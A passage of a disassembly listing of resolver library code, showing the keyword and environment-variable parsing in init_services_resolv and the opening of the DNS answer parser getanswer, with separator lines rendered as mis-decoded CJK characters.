mov edi, ebx xor al, al cld mov ecx, 0FFFFFFFFh repne scasb cmp ecx, 0FFFFFFFCh jnz short loc_804B0CC push 2 push offset aOn ; "on" push ebx call checkbuf add esp, 0Ch test eax, eax jnz short loc_804B0CC cmp byte ptr [ebx+2], 0 jz short loc_804B0BA movzx edx, byte ptr [ebx+2] mov eax, dword_8078FA0 test byte ptr [eax+edx*2+1], 20h jz short loc_804B0CC loc_804B0BA: ; CODE XREF: init_services_resolv+6D0j mov dword_8078518, 1 jmp loc_804AA5C ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_804B0CC: ; CODE XREF: init_services_resolv+6B6j ; init_services_resolv+6CAj ... mov edi, ebx xor al, al cld mov ecx, 0FFFFFFFFh repne scasb cmp ecx, 0FFFFFFFBh jnz short loc_804B118 push 3 push offset aOff ; "off" push ebx call checkbuf add esp, 0Ch test eax, eax jnz short loc_804B118 cmp byte ptr [ebx+3], 0 jz short loc_804B107 movzx edx, byte ptr [ebx+3] mov eax, dword_8078FA0 test byte ptr [eax+edx*2+1], 20h jz short loc_804B118 loc_804B107: ; CODE XREF: init_services_resolv+71Dj mov dword_8078518, 0 jmp loc_804AA5C ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_804B118: ; CODE XREF: init_services_resolv+703j ; init_services_resolv+717j ... push offset aAlert ; "alert" jmp loc_804B261 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_804B124: ; CODE XREF: init_services_resolv+66Cj ; init_services_resolv+68Bj ... push offset aAlert ; "alert" jmp loc_804B395 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_804B130: ; CODE XREF: init_services_resolv+62Ej ; init_services_resolv+64Ej push 7 push offset aReorder ; "reorder" mov eax, [ebp+var_410] push eax call checkbuf mov edx, eax add esp, 0Ch test edx, edx jnz loc_804B2C8 cmp [ebp+var_3F9], 0 jz short loc_804B170 movzx edx, [ebp+var_3F9] mov eax, dword_8078FA0 test byte ptr [eax+edx*2+1], 20h jz loc_804B2C8 loc_804B170: ; CODE XREF: init_services_resolv+77Fj push offset asc_806791B ; " \t" mov ecx, [ebp+var_410] push ecx call strpbrk mov ebx, eax add esp, 8 test ebx, ebx jz loc_804B2BC cmp byte ptr [ebx], 0 jz short loc_804B1B2 mov edx, dword_8078FA0 db 8Dh,76h,0 ; lea esi, [esi+0] loc_804B19C: ; CODE XREF: init_services_resolv+7D8j movzx eax, byte ptr [ebx] test byte ptr [edx+eax*2+1], 20h jz short loc_804B1B2 inc ebx jz loc_804B2BC cmp byte ptr [ebx], 0 jnz short loc_804B19C loc_804B1B2: ; CODE XREF: init_services_resolv+7B9j ; init_services_resolv+7CCj test ebx, ebx jz loc_804B2BC cmp byte ptr [ebx], 0 jz loc_804B2BC mov edi, ebx xor al, al cld mov ecx, 0FFFFFFFFh repne scasb cmp ecx, 0FFFFFFFCh jnz short loc_804B210 push 2 push offset aOn ; "on" push ebx call checkbuf add esp, 0Ch test eax, eax jnz short loc_804B210 cmp byte ptr [ebx+2], 0 jz short loc_804B1FE movzx edx, byte ptr [ebx+2] mov eax, dword_8078FA0 test byte ptr [eax+edx*2+1], 20h jz short loc_804B210 loc_804B1FE: ; CODE XREF: init_services_resolv+814j mov dword_807851C, 1 jmp loc_804AA5C ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_804B210: ; CODE XREF: init_services_resolv+7FAj ; init_services_resolv+80Ej ... mov edi, ebx xor al, al cld mov ecx, 0FFFFFFFFh repne scasb cmp ecx, 0FFFFFFFBh jnz short loc_804B25C push 3 push offset aOff ; "off" push ebx call checkbuf add esp, 0Ch test eax, eax jnz short loc_804B25C cmp byte ptr [ebx+3], 0 jz short loc_804B24B movzx edx, byte ptr [ebx+3] mov eax, dword_8078FA0 test byte ptr [eax+edx*2+1], 20h jz short loc_804B25C loc_804B24B: ; CODE XREF: init_services_resolv+861j mov dword_807851C, 0 jmp loc_804AA5C ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_804B25C: ; CODE XREF: init_services_resolv+847j ; init_services_resolv+85Bj ... push offset aReorder ; "reorder" loc_804B261: ; CODE XREF: init_services_resolv+4BDj ; init_services_resolv+601j ... mov ecx, [ebp+var_40C] push ecx push offset aResolvSSComman ; "resolv+: %s: \"%s\" command incorrectly f"... push 0Ch push 0Bh mov eax, dword_8078F9C push eax call catgets add esp, 10h mov edx, eax push edx push offset unk_80787A4 call fprintf push ebx push offset aResolvSIsAnInv ; "resolv+: \"%s\" is an invalid keyword\n" push 0Dh push 0Bh mov ecx, dword_8078F9C push ecx call catgets add esp, 10h mov edx, eax push edx push offset unk_80787A4 call fprintf add esp, 1Ch jmp loc_804AA5C ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_804B2BC: ; CODE XREF: init_services_resolv+7B0j ; init_services_resolv+7CFj ... push offset aReorder ; "reorder" jmp loc_804B395 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_804B2C8: ; CODE XREF: init_services_resolv+772j ; init_services_resolv+792j push 4 push offset aTrim ; "trim" mov eax, [ebp+var_410] push eax call checkbuf mov edx, eax add esp, 0Ch test edx, edx jnz loc_804B3CC cmp [ebp+var_3FC], 0 jz short loc_804B308 movzx edx, [ebp+var_3FC] mov eax, dword_8078FA0 test byte ptr [eax+edx*2+1], 20h jz loc_804B3CC loc_804B308: ; CODE XREF: init_services_resolv+917j cmp dword_8078520, 3 jg loc_804AA5C push offset asc_806791B ; " \t" mov ecx, [ebp+var_410] push ecx call strpbrk mov ebx, eax add esp, 8 test ebx, ebx jz short loc_804B390 jmp short loc_804B335 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_804B334: ; CODE XREF: init_services_resolv+960j ; init_services_resolv+965j inc ebx loc_804B335: ; CODE XREF: init_services_resolv+957j cmp byte ptr [ebx], 20h jz short loc_804B334 cmp byte ptr [ebx], 9 jz short loc_804B334 cmp byte ptr [ebx], 0 jz short loc_804B390 push ebx mov eax, [ebp+var_408] push eax call strcpy mov eax, [ebp+var_408] mov ecx, dword_8078520 mov ds:dword_807A348[ecx*4], eax inc dword_8078520 mov edi, ebx xor al, al cld mov ecx, 0FFFFFFFFh repne scasb mov edx, ecx not edx mov [ebp+var_414], edx add [ebp+var_408], edx add esp, 8 jmp loc_804AA5C ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_804B390: ; CODE XREF: init_services_resolv+955j ; init_services_resolv+96Aj push offset aTrim ; "trim" loc_804B395: ; CODE XREF: init_services_resolv+4C9j ; init_services_resolv+60Dj ... mov eax, [ebp+var_40C] push eax push offset aResolvSSComman ; "resolv+: %s: \"%s\" command incorrectly f"... push 0Ch push 0Bh mov ecx, dword_8078F9C push ecx loc_804B3AC: ; CODE XREF: init_services_resolv+19Ej call catgets add esp, 10h mov edx, eax push edx push offset unk_80787A4 call fprintf add esp, 10h jmp loc_804AA5C ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_804B3CC: ; CODE XREF: init_services_resolv+90Aj ; init_services_resolv+92Aj push offset asc_806791B ; " \t" mov eax, [ebp+var_410] push eax call strpbrk mov ebx, eax add esp, 8 test ebx, ebx jz short loc_804B3E9 mov byte ptr [ebx], 0 loc_804B3E9: ; CODE XREF: init_services_resolv+A0Cj mov ecx, [ebp+var_410] push ecx push offset aResolvSIsAnInv ; "resolv+: \"%s\" is an invalid keyword\n" push 0Dh push 0Bh mov eax, dword_8078F9C push eax call catgets add esp, 10h mov edx, eax push edx push offset unk_80787A4 call fprintf add esp, 0Ch jmp loc_804AA5C ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_804B41C: ; CODE XREF: init_services_resolv+A3j mov ds:dword_8079DD4[esi*4], 0 mov ecx, [ebp+var_404] push ecx call fclose add esp, 4 loc_804B436: ; CODE XREF: init_services_resolv+70j push offset aResolv_serv_or ; "RESOLV_SERV_ORDER" call secure_getenv mov ebx, eax add esp, 4 test ebx, ebx jz loc_804B542 xor esi, esi push offset asc_8067950 ; " ,;:" push ebx call strtok mov ebx, eax add esp, 8 test ebx, ebx jz loc_804B542 nop loc_804B468: ; CODE XREF: init_services_resolv+B59j push 4 push offset aBind ; "bind" push ebx call checkbuf add esp, 0Ch test eax, eax jnz short loc_804B4B0 cmp byte ptr [ebx+4], 0 jz short loc_804B492 movzx edx, byte ptr [ebx+4] mov eax, dword_8078FA0 test byte ptr [eax+edx*2+1], 20h jz short loc_804B4B0 loc_804B492: ; CODE XREF: init_services_resolv+AA8j mov ds:dword_8079DD4[esi*4], 1 inc esi test byte ptr dword_807854C, 1 jnz short loc_804B51E call res_init jmp short loc_804B51E ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_804B4B0: ; CODE XREF: init_services_resolv+AA2j ; init_services_resolv+AB8j push 5 push offset aHosts ; "hosts" push ebx call checkbuf add esp, 0Ch test eax, eax jnz short loc_804B4E8 cmp byte ptr [ebx+5], 0 jz short loc_804B4DA movzx edx, byte ptr [ebx+5] mov eax, dword_8078FA0 test byte ptr [eax+edx*2+1], 20h jz short loc_804B4E8 loc_804B4DA: ; CODE XREF: init_services_resolv+AF0j mov ds:dword_8079DD4[esi*4], 2 jmp short loc_804B51D ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_804B4E8: ; CODE XREF: init_services_resolv+AEAj ; init_services_resolv+B00j push 3 push offset aNis ; "nis" push ebx call checkbuf add esp, 0Ch test eax, eax jnz short loc_804B51E cmp byte ptr [ebx+3], 0 jz short loc_804B512 movzx edx, byte ptr [ebx+3] mov eax, dword_8078FA0 test byte ptr [eax+edx*2+1], 20h jz short loc_804B51E loc_804B512: ; CODE XREF: init_services_resolv+B28j mov ds:dword_8079DD4[esi*4], 3 loc_804B51D: ; CODE XREF: init_services_resolv+B0Dj inc esi loc_804B51E: ; CODE XREF: init_services_resolv+ACDj ; init_services_resolv+AD4j ... push offset asc_8067950 ; " ,;:" push 0 call strtok mov ebx, eax add esp, 8 test ebx, ebx jnz loc_804B468 mov ds:dword_8079DD4[esi*4], 0 loc_804B542: ; CODE XREF: init_services_resolv+A6Fj ; init_services_resolv+A89j push offset aResolv_spoof_c ; "RESOLV_SPOOF_CHECK" call secure_getenv mov ebx, eax add esp, 4 test ebx, ebx jz loc_804B626 push 4 push offset aWarn ; "warn" push ebx call checkbuf add esp, 0Ch test eax, eax jnz short loc_804B59C cmp byte ptr [ebx+4], 0 jz short loc_804B583 movzx edx, byte ptr [ebx+4] mov eax, dword_8078FA0 test byte ptr [eax+edx*2+1], 20h jz short loc_804B59C loc_804B583: ; CODE XREF: init_services_resolv+B99j mov dword_8078514, 1 mov dword_8078518, 1 jmp loc_804B626 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_804B59C: ; CODE XREF: init_services_resolv+B93j ; init_services_resolv+BA9j push 3 push offset aOff ; "off" push ebx call checkbuf add esp, 0Ch test eax, eax jnz short loc_804B5DC cmp byte ptr [ebx+3], 0 jz short loc_804B5C6 movzx edx, byte ptr [ebx+3] mov eax, dword_8078FA0 test byte ptr [eax+edx*2+1], 20h jz short loc_804B5DC loc_804B5C6: ; CODE XREF: init_services_resolv+BDCj mov dword_8078514, 0 mov dword_8078518, 0 jmp short loc_804B626 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_804B5DC: ; CODE XREF: init_services_resolv+BD6j ; init_services_resolv+BECj push 8 push offset aWarnOff ; "warn off" push ebx call checkbuf add esp, 0Ch test eax, eax jnz short loc_804B61C cmp byte ptr [ebx+8], 0 jz short loc_804B606 movzx edx, byte ptr [ebx+8] mov eax, dword_8078FA0 test byte ptr [eax+edx*2+1], 20h jz short loc_804B61C loc_804B606: ; CODE XREF: init_services_resolv+C1Cj mov dword_8078514, 1 mov dword_8078518, 0 jmp short loc_804B626 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_804B61C: ; CODE XREF: init_services_resolv+C16j ; init_services_resolv+C2Cj mov dword_8078514, 1 loc_804B626: ; CODE XREF: init_services_resolv+B7Bj ; init_services_resolv+BBFj ... push offset aResolv_multi ; "RESOLV_MULTI" call secure_getenv mov ebx, eax add esp, 4 test ebx, ebx jz short loc_804B67A push 2 push offset aOn ; "on" push ebx call checkbuf add esp, 0Ch test eax, eax jnz short loc_804B670 cmp byte ptr [ebx+2], 0 jz short loc_804B663 movzx edx, byte ptr [ebx+2] mov eax, dword_8078FA0 test byte ptr [eax+edx*2+1], 20h jz short loc_804B670 loc_804B663: ; CODE XREF: init_services_resolv+C79j mov dword_8078510, 1 jmp short loc_804B67A ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_804B670: ; CODE XREF: init_services_resolv+C73j ; init_services_resolv+C89j mov dword_8078510, 0 loc_804B67A: ; CODE XREF: init_services_resolv+C5Fj ; init_services_resolv+C95j push offset aResolv_reorder ; "RESOLV_REORDER" call secure_getenv mov ebx, eax add esp, 4 test ebx, ebx jz short loc_804B6CE push 2 push offset aOn ; "on" push ebx call checkbuf add esp, 0Ch test eax, eax jnz short loc_804B6C4 cmp byte ptr [ebx+2], 0 jz short loc_804B6B7 movzx edx, byte ptr [ebx+2] mov eax, dword_8078FA0 test byte ptr [eax+edx*2+1], 20h jz short loc_804B6C4 loc_804B6B7: ; CODE XREF: init_services_resolv+CCDj mov dword_807851C, 1 jmp short loc_804B6CE ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_804B6C4: ; CODE XREF: init_services_resolv+CC7j ; init_services_resolv+CDDj mov dword_807851C, 0 loc_804B6CE: ; CODE XREF: init_services_resolv+CB3j ; init_services_resolv+CE9j push offset aResolv_add_tri ; "RESOLV_ADD_TRIM_DOMAINS" call secure_getenv mov ebx, eax add esp, 4 test ebx, ebx jz short loc_804B74F push offset asc_8067950 ; " ,;:" push ebx jmp short loc_804B741 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_804B6EC: ; CODE XREF: init_services_resolv+D75j cmp dword_8078520, 3 jg short loc_804B73A push ebx mov eax, [ebp+var_408] push eax call strcpy mov eax, [ebp+var_408] mov ecx, dword_8078520 mov ds:dword_807A348[ecx*4], eax inc dword_8078520 mov edi, ebx xor al, al cld mov ecx, 0FFFFFFFFh repne scasb mov edx, ecx not edx mov [ebp+var_414], edx add [ebp+var_408], edx add esp, 8 loc_804B73A: ; CODE XREF: init_services_resolv+D1Bj push offset asc_8067950 ; " ,;:" push 0 loc_804B741: ; CODE XREF: init_services_resolv+D0Fj call strtok mov ebx, eax add esp, 8 test ebx, ebx jnz short loc_804B6EC loc_804B74F: ; CODE XREF: init_services_resolv+D07j push offset aResolv_overrid ; "RESOLV_OVERRIDE_TRIM_DOMAINS" call secure_getenv mov ebx, eax add esp, 4 test ebx, ebx jz loc_804B7E7 mov dword_8078520, 0 mov [ebp+var_408], offset unk_807A358 push offset asc_8067950 ; " ,;:" push ebx jmp short loc_804B7D9 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_804B784: ; CODE XREF: init_services_resolv+E0Dj cmp dword_8078520, 3 jg short loc_804B7D2 push ebx mov eax, [ebp+var_408] push eax call strcpy mov eax, [ebp+var_408] mov ecx, dword_8078520 mov ds:dword_807A348[ecx*4], eax inc dword_8078520 mov edi, ebx xor al, al cld mov ecx, 0FFFFFFFFh repne scasb mov edx, ecx not edx mov [ebp+var_414], edx add [ebp+var_408], edx add esp, 8 loc_804B7D2: ; CODE XREF: init_services_resolv+DB3j push offset asc_8067950 ; " ,;:" push 0 loc_804B7D9: ; CODE XREF: init_services_resolv+DA8j call strtok mov ebx, eax add esp, 8 test ebx, ebx jnz short loc_804B784 loc_804B7E7: ; CODE XREF: init_services_resolv+D88j mov dword_80784F8, 1 lea esp, [ebp+var_420] pop ebx pop esi pop edi mov esp, ebp pop ebp retn init_services_resolv endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden getanswer proc near ; CODE XREF: gethostbyname+180p ; gethostbyaddr+105p var_144 = byte ptr -144h var_138 = dword ptr -138h var_130 = dword ptr -130h var_12C = dword ptr -12Ch var_128 = dword ptr -128h var_124 = dword ptr -124h var_120 = dword ptr -120h var_11C = dword ptr -11Ch var_118 = dword ptr -118h var_114 = dword ptr -114h var_110 = dword ptr -110h var_10C = dword ptr -10Ch var_108 = dword ptr -108h var_104 = byte ptr -104h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 138h push edi push esi push ebx mov [ebp+var_12C], 0 mov eax, [ebp+arg_8] mov [ebp+var_130], eax mov ds:dword_8079E74, 0 mov edx, [ebp+arg_0] add edx, [ebp+arg_4] mov [ebp+var_108], edx mov eax, [ebp+arg_0] mov ax, [eax+6] xchg al, ah movzx edx, ax mov [ebp+var_120], edx mov eax, [ebp+arg_0] mov ax, [eax+4] xchg al, ah mov [ebp+var_10C], offset unk_8079F14 mov [ebp+var_11C], 401h mov esi, [ebp+arg_0] add esi, 0Ch cmp ax, 1 jz short loc_804B880 mov ds:dword_807E788, 3 jmp loc_804BE9E ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_804B880: ; CODE XREF: getanswer+6Ej mov edx, [ebp+var_11C] push edx mov eax, [ebp+var_10C] push eax push esi mov edx, [ebp+var_108] push edx mov eax, [ebp+arg_0] push eax call sub_804D02C mov ebx, eax add esp, 14h test ebx, ebx jge short loc_804B8B8 mov ds:dword_807E788, 3 jmp loc_804BE9E ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_804B8B8: ; CODE XREF: getanswer+A6j call sub_805E954 lea esi, [esi+ebx+4] cmp [ebp+arg_10], 1 jnz short loc_804B8FF xor cl, cl mov edi, [ebp+var_10C] mov al, cl cld mov ecx, 0FFFFFFFFh repne scasb mov ebx, ecx not ebx mov edx, [ebp+var_10C] mov ds:dword_8079E74, edx add edx, ebx mov [ebp+var_10C], edx sub [ebp+var_11C], ebx mov eax, ds:dword_8079E74 mov [ebp+arg_8], eax loc_804B8FF: ; CODE XREF: getanswer+C5j mov [ebp+var_110], offset dword_8079E88 mov ds:dword_8079E88, 0 mov ds:dword_8079E78, offset dword_8079E88 mov [ebp+var_114], offset dword_8079DE4 mov ds:dword_8079DE4, 0 mov ds:dword_8079E84, offset dword_8079DE4 mov [ebp+var_124], 0 mov [ebp+var_128], 0 mov eax, [ebp+var_120] dec [ebp+var_120] test eax, eax jle loc_804BE14 cmp [ebp+var_108], esi jbe loc_804BE14 nop loc_804B970: ; CODE XREF: getanswer+60Ej mov edx, [ebp+var_11C] push edx mov eax, [ebp+var_10C] push eax push esi mov edx, [ebp+var_108] push edx mov eax, [ebp+arg_0] push eax call sub_804D02C mov ebx, eax add esp, 14h test ebx, ebx jl loc_804BD6C add esi, ebx push esi call sub_804D6B8 mov ecx, eax movzx edi, cx add esi, 2 push esi call sub_804D6B8 mov ecx, eax and ecx, 0FFFFh mov [ebp+var_118], ecx add esi, 6 push esi call sub_804D6B8 mov ecx, eax movzx ebx, cx add esi, 2 add esp, 0Ch mov edx, [ebp+arg_C] cmp [ebp+var_118], edx jnz loc_804BDA7 cmp [ebp+arg_10], 1 jnz loc_804BB08 cmp edi, 5 jnz loc_804BB08 cmp [ebp+var_110], offset unk_8079F10 jnb loc_804BDEF push 101h lea eax, [ebp+var_104] push eax push esi mov edx, [ebp+var_108] push edx mov eax, [ebp+arg_0] push eax call sub_804D02C mov ebx, eax add esp, 14h test ebx, ebx jl loc_804BD6C add esi, ebx cmp ds:dword_8079E74, 0 jz short loc_804BA90 mov edx, [ebp+var_10C] push edx mov eax, ds:dword_8079E74 push eax call sub_80565F8 mov ecx, eax add esp, 8 test ecx, ecx jz short loc_804BA90 mov edx, [ebp+var_10C] push edx mov eax, ds:dword_8079E74 push eax push offset aGethostby_geta ; "gethostby*.getanswer: asked for \"%s\", g"... push 1Bh push 0Bh mov edx, dword_8078F9C push edx call catgets add esp, 10h mov ecx, eax push ecx push 25h call sub_8054EB0 add esp, 10h jmp loc_804BDEF ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_804BA90: ; CODE XREF: getanswer+239j ; getanswer+254j mov edx, [ebp+var_10C] mov eax, [ebp+var_110] mov [eax], edx add eax, 4 mov [ebp+var_110], eax mov edi, [ebp+var_10C] xor al, al cld mov ecx, 0FFFFFFFFh repne scasb mov ebx, ecx not ebx add edx, ebx mov [ebp+var_10C], edx sub [ebp+var_11C], ebx lea edi, [ebp+var_104] cld mov ecx, 0FFFFFFFFh repne scasb mov ebx, ecx not ebx cmp [ebp+var_11C], ebx jl loc_804BD6C lea edx, [ebp+var_104] push edx mov eax, [ebp+var_10C] push eax call strcpy mov edx, [ebp+var_10C] mov ds:dword_8079E74, edx jmp short loc_804BB86 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_804BB08: ; CODE XREF: getanswer+1E7j ; getanswer+1F0j cmp [ebp+arg_10], 0Ch jnz loc_804BB9C cmp edi, 5 jnz loc_804BB9C push 101h lea eax, [ebp+var_104] push eax push esi mov edx, [ebp+var_108] push edx mov eax, [ebp+arg_0] push eax call sub_804D02C mov ebx, eax add esp, 14h test ebx, ebx jl loc_804BD6C add esi, ebx lea edi, [ebp+var_104] xor al, al cld mov ecx, 0FFFFFFFFh repne scasb mov ebx, ecx not ebx cmp [ebp+var_11C], ebx jl loc_804BD6C lea edx, [ebp+var_104] push edx mov eax, [ebp+var_10C] push eax call strcpy mov edx, [ebp+var_10C] mov [ebp+var_130], edx loc_804BB86: ; CODE XREF: getanswer+306j add edx, ebx mov [ebp+var_10C], edx sub [ebp+var_11C], ebx add esp, 8 jmp loc_804BDEF ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_804BB9C: ; CODE XREF: getanswer+30Cj ; getanswer+315j cmp [ebp+arg_10], edi jz short loc_804BBE0 mov eax, [ebp+var_10C] push eax push edi mov edx, [ebp+arg_8] push edx mov eax, [ebp+arg_10] push eax push offset aGethostby_ge_0 ; "gethostby*.getanswer: asked for type %d"... push 1Ch push 0Bh mov edx, dword_8078F9C push edx call catgets add esp, 10h mov ecx, eax push ecx push 25h call sub_8054EB0 add esi, ebx add esp, 18h jmp loc_804BDEF ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_804BBE0: ; CODE XREF: getanswer+39Fj cmp edi, 1 jz short loc_804BC64 cmp edi, 0Ch jnz loc_804BDD8 mov eax, [ebp+var_10C] push eax mov edx, [ebp+var_130] push edx call sub_80565F8 mov ecx, eax add esp, 8 test ecx, ecx jz short loc_804BC18 mov eax, [ebp+var_10C] push eax mov edx, [ebp+arg_8] jmp short loc_804BC8D ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_804BC18: ; CODE XREF: getanswer+408j mov edx, [ebp+var_11C] push edx mov eax, [ebp+var_10C] push eax push esi mov edx, [ebp+var_108] push edx mov eax, [ebp+arg_0] push eax call sub_804D02C mov ebx, eax add esp, 14h test ebx, ebx jge short loc_804BC4C inc [ebp+var_128] jmp loc_804BDE0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_804BC4C: ; CODE XREF: getanswer+43Ej mov edx, [ebp+var_10C] mov ds:dword_8079E74, edx loc_804BC58: ; CODE XREF: getanswer+66Ej ; getanswer+68Fj mov eax, offset dword_8079E74 jmp loc_804BEA0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 